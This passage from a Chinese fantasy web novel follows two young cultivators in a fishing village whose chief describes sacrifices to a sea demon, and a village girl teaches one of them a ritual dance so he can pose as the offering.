村长道:“问起那孩子,那孩子说看到了一个很漂亮的女人,是她把他送回来的。海里怎么会有人?除非是神仙。渔民们觉着是神仙显灵,在庇佑龙骨村。之后每次出海大家便不再去寺庙求平安符,而是开始祭拜海神,自此每次出海,无论遇到多大的风浪大家都能平安回来,哪怕有人迷失在海里或是遇到了危险,隔天也会被海水送回来。” “村民们感念海神的庇护,自发为她建庙镀金身,海神庙香火不断,还把每年的六月六,也就是海神救下那个孩子的日子定为每年的海神节。” 余白听得津津有味,感慨道:“海神娘娘真好。” 江厌星没什么感触,这种类似的故事在民间没有一千也有几百,他至始至终都只想知道一点—— “这跟那妖怪有什么关系?” 对哦。 余白被转移的注意力也回来了,一脸好奇看向村长。 村长道:“我们这里世代被海神庇护,本来是没有海蚀的,可在三百年前海神突然不知所踪,有人说她大限已至身消道陨了,有人说她死在了海底妖魔手中,我们不知道到底发生了什么,但自她消失后便出现了海蚀。” “海蚀从一开始的每年一次,到半年,如今更是一月一次,次数越来越多,也越来越严重,照这样的速度来看,不出一年龙骨村就会被淹没。唯独每年的海神节,只要照旧举行节日祭拜海神,海蚀才会减轻,有时候甚至好几个月都不会出现。” 江厌星一直在留意着村长的表情,在说到可以靠举行海神节来减轻海蚀的时候他非但没有露出一点轻松的神色,反而更凝重哀痛了。 这个海神节可能并不是单纯祭拜那么简单。 果不其然,村长接下来的话便揭示了这一点—— “海神早就消失了,现在这个接受祭拜的是海底的妖邪,妖邪不受香火,它要的是血肉的献祭。” 余白大惊失色:“那你们还祭拜它?这不助纣为虐吗?!” 村长苦笑道:“我们何尝不知道这是助纣为虐?可我们没办法啊,如果我们不那么做死的人只会更多,而且我们推出去献祭的都是半截入土的老人,没几年活头了,他们是自愿为了自家小辈献祭的……” “什么老人孩子!还不都是一样?难道老人的命就不是命了吗?!” 余白气得破音,眼睛因为盛着怒火显得格外明亮,村长被这样一双眼睛盯着,一时之间竟不敢直视,慌忙低头避开。 “你不是觉得自己做的很对很有理吗?你心虚什么?!哈,我想起来了,你之前马上又要海蚀了,现在就是六月,你们到时候是不是又要找人献祭?怎么样,人挑好了吗?没有的话要不就你吧,反正你也是个没几年活头的老东西了!” 她说着拿出捆仙绳,气呼呼的就要往村长头上套,吓得后者连连后退。 江厌星也不阻止。 他知道余白就是气不过想要吓唬下这老头,并不是真的要对他做什么,于是抱着手臂等她把人五花大绑后这才出声给她台阶下。 “算了算了,他虽然愚昧无知,助纣为虐,厚颜无耻,但也情有可原,暂且绕过他吧。” 余白顺驴下坡,恶声恶气道:“好,就看在你的份上饶他这回。” 她将捆仙绳解开,解开的时候不小心这里拽一下那里甩一下,把村长疼得龇牙咧嘴,苦不堪言。 余白其实也知道这件事谁也不怪,他这样行事虽不好,但他到底是个手无缚鸡之力的凡人,他要怎么对抗那妖怪?哪怕集齐村子所有人的力量,也是蚍蜉撼树。 为了保全大多数的人,他别无选择。 要怪只能怪那个给北冥带来灾厄的海底妖物。 可她就是不舒服,她不喜欢这种牺牲小我的妥协,不喜欢以这样方式换取的片刻安宁。 其实说来说去余白只是讨厌什么都做不到的自己。 要是她再强一点是不是就不用方遒和沈琢留下断后,要是她再强一点江小白就不用二选一做出取舍,周然也不用被抛下? “要是我再强一点就好了……” 余白捏着捆仙绳,手被绳子勒得通红。 “那下次呢?” “什么?” 江厌星问道:“你觉得是你太弱拖累了大家,你把一切原因归咎在自己身上,你恨自己不够强。那下一次呢,下一次遇到的对手或许更强,你又要怪自己弱小吗?” “余白,这世上不缺实力强大的人,你的老祖宗称一句当世最强也不为过,但他也不可能一人抗下所有的事情和责任,这苍生是众生的苍生,不是一个人的苍生,而你,也不是一个人,你还有我……” 他顿了顿,喉头耸动了下,补充道:“还有我们。” 余白呆呆看着江厌星,缓了许久,干巴巴回了句。 “江小白,你说话好有哲理哦。” 江厌星:“……” 她被对方无语的表情给逗笑了:“好啦,我知道你是在安慰我,谢谢你,我好多了。” 江厌星别过头:“我只是实话实说。” “嗯嗯,我也是实话实说。” 目睹了全程的系统陷入了沉思,目光在江厌星身上停留了好几秒。 不知道是不是它的错觉,这个江小白似乎格外了解它的宿主。 这难道是路人甲之间的默契? 系统收回视线,下一秒江厌星突然看了过来。 “怎么了?突然这么看我?” 她脸上有东西? “不,没什么。” 江厌星皱了皱眉,刚才那一瞬间他感觉到有什么东西隔着余白的身体在盯着他。 是余秋离放在她体内的神识或剑意吗? 他没有过多去探究,至少那视线并没有恶意,况且如今当务之急是解决这个梦魇。 村长不知是被余白折腾的还是骂的没了精气神,头低着,花白的头发似乎又白了几分,整个人显得颓然又可怜。 江厌星没什么照顾老人感受的想法,张口就戳人痛处:“怎么样?考虑好今年送哪位幸运儿去献祭了没?” 村长搓了把脸,抬头一脸悲壮道:“我去。” 江厌星:“……嗯,勇气可嘉。” “那明年呢?” 村长嗫嚅着嘴唇,不知如何作答。 江厌星道:“啧,别想了,这样下去不用等村子被淹没,你们自己倒先自投罗网完了。我给你支个招……” “你看看我怎么样?” 村长愕然,随即明白了他的意图:“你是想扮成祭品,引蛇出洞?” “没错。” 村长上下左右,仔仔细细打量了下眼前的少年,最后神情为难道:“恐怕不行。” 江厌星没想过会被拒绝,一时之间忘了接话,一旁的余白刚下去的火气又噌的一下窜了上来。 “你不会还要找活人献祭吧?!亏我刚才还对你有所改观呢,结果你还这么冥顽不宁!” 这下余白是真的想要把他绑了扔海里了。 村长忙摆手辩解:“非也非也!我不是那个意思!我的意思是说作为祭品的话这位仙长可能不够资格!” 余白:“……蛤?” 不够资格? 江小白要天赋有天赋,比起那些肉体凡胎的渔民,哪不够资格了? 村长回道:“脸。” 余白哽住了,觉得这老家伙在故意戏弄她。 她一把抓住江厌星,把他拉近:“你是不是老花了?你睁大眼睛好好看清楚,我师弟长得再普通也不可能比不上那些满脸皱纹,牙齿都要掉光的老太太老爷子强吧!” 39 第三十九章 最后余白以自己之前玩游戏的男号的模板给江厌星捏了张脸,也很好看,但比起少年原本的脸还是有一定的差距。 村长送来的饭早就凉了,余白不想浪费食物,拿着木鱼催动天雷火将饭菜加热。 江厌星见了嘴角抽搐了下:“你就这么用我的天雷火的?” 天雷火热饭,就跟拿极品丹药当饭吃一样暴殄天物。 余白哼哼道:“要不是我不会催动上面的灵火,我才不会用你的天雷火呢。” 她还在因为先前少年说想要用“江厌星”的脸而生气,这其实很无理取闹,明明给他捏脸的是她,对方真的要用了她反而不开心了。 江厌星却明白她不爽的点在哪儿。 要是换作别人想要用余白的脸,他作为朋友也会觉得膈应。 他看着余白手上的那块雷击木雕刻的小鱼,上面白紫色的火焰萦绕,带着灼热的温度,却没有灼伤到少女分毫。 至于肖扶山留在上面的灵火,早就在之前被江厌星给掐灭了。 这也是余白没办法催动的原因。 两人在捏脸上耗费了太长时间,吃完晚饭后天已经隐隐泛起了鱼肚白。 睡觉是没时间了,他们索性打坐调息。 没多久村长又敲门给他们送来了早饭,不过这回不同的是他后面还跟着一个个头瘦小的少女。 少女穿着一身灰青色的衣衫,麦色的皮肤上一双黑葡萄似的眼睛又黑又亮,她手上提着一条有点像锦鲤的鱼,有她手臂那么长,艳丽火红,十分漂亮。 在看到余白他们的时候她眼睛一亮,正欲上前。 “小七!” 村长呵斥了一声,名叫小七的少女反应过来,忙停下了动作,然后学着镇上学生给私塾先生行礼的动作,生涩又别扭。 “仙长在上,请受小七一拜。” 行了礼后,她“噗通”一声又给跪下,吓了余白一跳。 “诶别别别,快起来,有话好好说。” 余白赶紧把人扶起来,小七看着瘦小可力气一点都不小,余白拽了几次都没把人拽起来。 村长道:“仙长,你们是她的救命恩人,她跪拜叩谢是应该的。” 余白错愕看向跪在地上的少女:“她就是今年的祭品?” 村长点头:“这孩子命苦,她娘生她的时候没挺住去了,后头她爹又染上了蚀病也走了,如今家里就剩下她还有她卧病在床的奶奶。你们代替她成了祭品,不光是救了她的命也救了她奶奶的,没有她照顾她奶奶也活不下去。所以她在得知这件事后求着缠着我带她过来,想当面亲自感谢你们。” 话音刚落,小七“哐哐哐”结结实实给磕了三个响头,额头都肿起来了。 “多谢恩人,多谢仙长,救命之恩小七无以为报,这是龙骨村的特产,只有龙骨村附近海域才有的龙鱼,肉质鲜美,有养颜美容,强身健体的功效,只是我能拿出的最值钱的东西了,还请仙长莫要嫌弃。” 余白听说过龙鱼,宗门有弟子曾经来过北冥有幸尝过一次,回去对此赞不绝口,说它不光鲜嫩,里面竟然还蕴含着日精月华,估计是和龙沾上了点儿关系,也能吸收天地灵气,甚至比灵兽的肉效果还要好。 当时她在一旁听得直流口水,还想着以后能下山了她也要去北冥抓一条尝尝,如今千思万想的美味就在眼前,看着小七和年龄完全不相符合的粗糙的手,以及那双饱含期待混杂着小心翼翼的眼睛,再美味的东西此时也味同嚼蜡了。 “……谢谢,我们会好好品尝的。” 不忍辜负小七的一番心意,最后余白还是收下了龙鱼。 龙鱼肉眼看是鲜艳的红色,在日光下那如花簇一样华美的尾巴又映照七彩的色泽,哪怕不吃,当成观赏类动物养着也很赏心悦目。 送完龙鱼后小七还跟着村长站在原地,似乎有话好说。 村长视线越过余白,看向她后面那张清俊陌生的脸。 “江仙长?” 江厌星微微颔首:“是我。” 村长暗暗咂舌于修士的神通,然后将小七推到前面,说道:“海神节又称作游神节,以前村子每年都会精心挑选出最漂亮的孩子来扮演海神,从村头游神到村尾,最后在海上搭建的祭神台上跳悦神舞,祈祷来年风调雨顺,风平浪静。后来……海神节不再是祝福的节日,这一角色便取消了,最近两年才又恢复。” 余白气笑了:“这妖怪未免也太厚颜无耻了点?区区一介妖怪真把自己当海神了?” 不光要求祭品年轻漂亮,还要为它取悦跳舞。 村长露出苦笑:“这一片它只手遮天,可不就相当于神了吗?” “所以为了让计划顺利进行,我这才将小七带来教你……” 大约是觉得后面的话太过冒犯,村长声音轻如蚊吟。 但作为修士,余白和江厌星还是听到了。 ——教你跳舞悦神。 余白下意识去看江厌星的脸色,意料之中的难看。 她捂着嘴偷笑,叫你不让我去,活该,搬起石头砸自己的脚了吧。 村长生怕江厌星迁怒自己,交代了小七一些事情后便匆匆离开了。 小七尴尬站在门口,余白看出了她的窘迫,牵着她的手把她带进了屋。 “别怕,他就是脸臭看着唬人,人挺好的。” 她又提了提手上的那条龙鱼,问道:“这条鱼好像还活着,我看到它鳃还在动。我们刚吃了饭还不饿,可以先养着吗?话说要怎么养啊,这是海水鱼是不是必须用海水?” 余白是蜀地人,她住的地方没有海,对这方面一窍不通。 聊到了她擅长的领域小七自在了不少,笑着说道:“这龙鱼和其他海鱼不一样,放在淡水里养也没事,就是可能精神不会像在海水里那么好。或者仙长怕麻烦直接把它放外面也行,它生命力强悍,离了水最少都能活三日,我之前抓了一只最多还活了七日呢!” “哇,这么厉害!比灵泉的灵鱼还能活!” 小七是个健谈的,本身对身为修士的余白还有点敬畏,聊了几句发现抛去修士身份之外,余白本质上就是个十六七岁的普通小姑娘,甚至还有点不谙世事的天真和单纯。 余白又是个E人,两人很快脑袋凑在一起,叽叽喳喳聊了起来。 江厌星被余白无视了个彻底。 余白在小七的指导下把龙鱼放到了水缸,又去外面抓了点晾晒的海带进去装饰了下,然后扒拉在边上欣赏了一会儿。 一条鱼再漂亮也只是一条鱼,余白看着它被困在这一方水缸里有些怅然,于是拿出了自己的小木鱼放了进去,想短暂的给它做个伴。 “?!等下!” 江厌星一个瞬身上前,一手一个把两人给拽离水缸。 下一秒,“砰”的一声,水缸炸开,那条龙鱼也被高高炸起,然后“啪”的一声落到了余白手上。 前一秒还生龙活虎的龙鱼,此刻已经被电的外焦里嫩,香气四溢了。 余白看着脚边滋滋冒着电光的罪魁祸首木鱼,沉默了。 她幽幽回头:“我没催动天雷火。” 江厌星:“……是我情绪不稳定影响了它。” 余白叹了口气:“别生闷气了,你要是不喜欢我们可以换。” 他余光瞥了余白和小七牵着的手,后者这才反应过来忙松开。 “那什么悦神舞怎么跳的,你给我跳一遍。” “啊?现在?在这儿吗?” 小七局促地看了一眼周围。 余白道:“还是去上面吧,露天,宽敞,手脚也好施展。” 江厌星:“那就楼上吧。” 村长家住在龙骨村中心,视野也是最开阔的,屋顶周围放着一些晾晒的海带和咸鱼,混杂着空气里潮湿的气息,给人一种置身深海的错觉。 “失礼了。” 小七朝着他们腼腆一笑,然后脱下了鞋子。 江厌星立刻将视线往上:“你帮我记下她脚下的动作。” 这虽然是个修仙世界,但本质上也是古代,人们的思想还是很保守的,尤其是女子的脚是不能轻易被男子看到的。 余白想说小七都不介意他也不用太把这个当回事,但转念又想江小白毕竟是这个世界的人,要让他去看女子的脚还是有点太超过了。 于是点头答应了。 小七赤着脚站在中间,收敛了神情。 可能因为逆着光,那双乌润的眸子也变得似海一般幽深。 起初余白还有心情抱着龙鱼时不时啃一口,随着小七的起舞,她完全忘记了手里的美味。 一开始小七的舞姿轻盈平和,动作的弧度很小,除却被海风拂起的裙角外整个体态都如镜面一样平静。 这是风平浪静的海面。 紧接着海面兴起了一点风,波光粼粼的水面荡漾起圈圈涟漪。 少女提着裙摆,脚步也加快了不少。 在此之前这个舞蹈都是偏向灵动轻盈的基调,突然,小七张开了手臂,修长有力的手臂好似对抗风浪的海燕,穿过风雨,搏击雷鸣与电闪。 它在展翅高飞,更是在与海共舞。 汹涌的,疯狂的,以弱小的躯体去回应天与海的无垠浩瀚。 小七是那只无畏天灾的海燕,海燕亦是小七。 是整个龙骨村在风浪侵蚀中依旧顽强生存的所有村民。 疾风骤雨,巨浪滔天,越来越快的舞步越来越大的动作弧度将这场人与海的交锋的激烈和紧张体现的淋漓尽致。 小七用力跳着,舞着,身体深处更是有一道来自灵魂的声音在呐喊着。 声嘶力竭,如泣如诉。 恍惚间余白听到了耳边传来了一声玉碎声啼,还有鸟扇动翅膀的声音。 晶莹的汗珠“啪嗒”落下,后面太阳也升起来了。 日出于海,似火骄阳,驱散了一切阴霾。 自此雾开云散,乍破天光。 这支舞与其说是悦神,不如说是展示自身不屈的意志。 但余白又觉得这才是神明希望看到的信徒的模样,只有这样的信徒才值得神明青睐与庇护,才足以取悦神明。 小七跳完悦神舞后双腿一软,要不是余白眼疾手快上前扶住了她,她可能就从楼上栽倒下去了。 这支舞的难度很大,无论是体力方面还是技术方面。 而且三日后就是海神节了…… “你能行吗?” 江厌星道:“还行,动作我基本上都记住了,剩下的就只有练习了。” 脚下的动作他通过上半身动作走向也能推断个八九不离十。 余白松了口气:“那就好。” 江厌星歪头:“这次怎么不说要是我为难的话代替我了?” “……” 那也要我有这么能力啊,这么复杂的舞蹈别说三天,给我三个月我都不一定能整明白。 余白鼓了鼓腮帮,对少年的记仇表示无语。 小七喘着气,缓了一会儿气息才平复。 她听了江厌星的话神情敬佩:“不愧是仙长大人,我从年初被选中就开始学了,上个月才完全掌握,没想到你看一遍就会了。” “过奖。” 江厌星有过目不忘的能力,这对他而言不是难事。 无论是上一世还是这一世,他都是别人家的孩子,身边同龄人仰望的存在,别人对于夸奖或许会谦虚,无所适从,他则习以为常,反应平淡。 “我以为你会讨厌这支舞。” 他冷不丁来了这么一句。 小七一愣,没明白江厌星的意思。 江厌星道:“这支海神舞原本是为真正庇佑你们的海神而跳,现在却跳给一个给你们带来灾厄的妖物,我以为你至少会有点抵触,没想到你从始至终都很虔诚,虔诚悦神,虔诚的展示自己。” 小七挠了挠头,麦色的皮肤透着红晕:“因为我本身就是跳给海神大人看的,我在跳的时候一直在想,万一海神大人只是沉睡了,万一她还在呢,万一她看到了回应了我的祈祷,会不会像三百年前那样再次降临世间,庇佑我们……” “原来如此。” 江厌星话锋一转:“不过我劝你还是不要抱有这样不切实际的幻想了,如果她真的还在,这片海域也不可能如此妖气弥漫。” 小七脸色一白,咬着嘴唇不说话了。 江厌星知道自己这样说有点残忍直白,但他也没办法睁眼说瞎话安慰她说什么海神可能尚存的话。 小七休息了一会儿,恢复体力便离开了。 临走之前她说这两天村子里的绣娘会把以前男子用的祭神服改好,让她过来给他量下身,江厌星直接报了尺寸给她。 余白望着小七的背影直到消失在视野,然后问江厌星:“这龙鱼味道不错,你要尝尝吗?” 她吃的时候是撕着吃的,上面没沾她的口水。 江厌星看着已经被余白吃了一半的龙鱼,这么大条她一口气吃了这么多,看来是真的挺合她的胃口了。 “我不喜欢吃鱼,你吃吧。” 余白便没再手撕了,直接上嘴啃。 “小心点,别卡着了。” “不会,这鱼没刺。” 余白一边吃一边把画册递给他:“诺,这上面是我记的脚下动作,我对着留影石画的,还检查了,应该没什么错处,你拿去练吧。”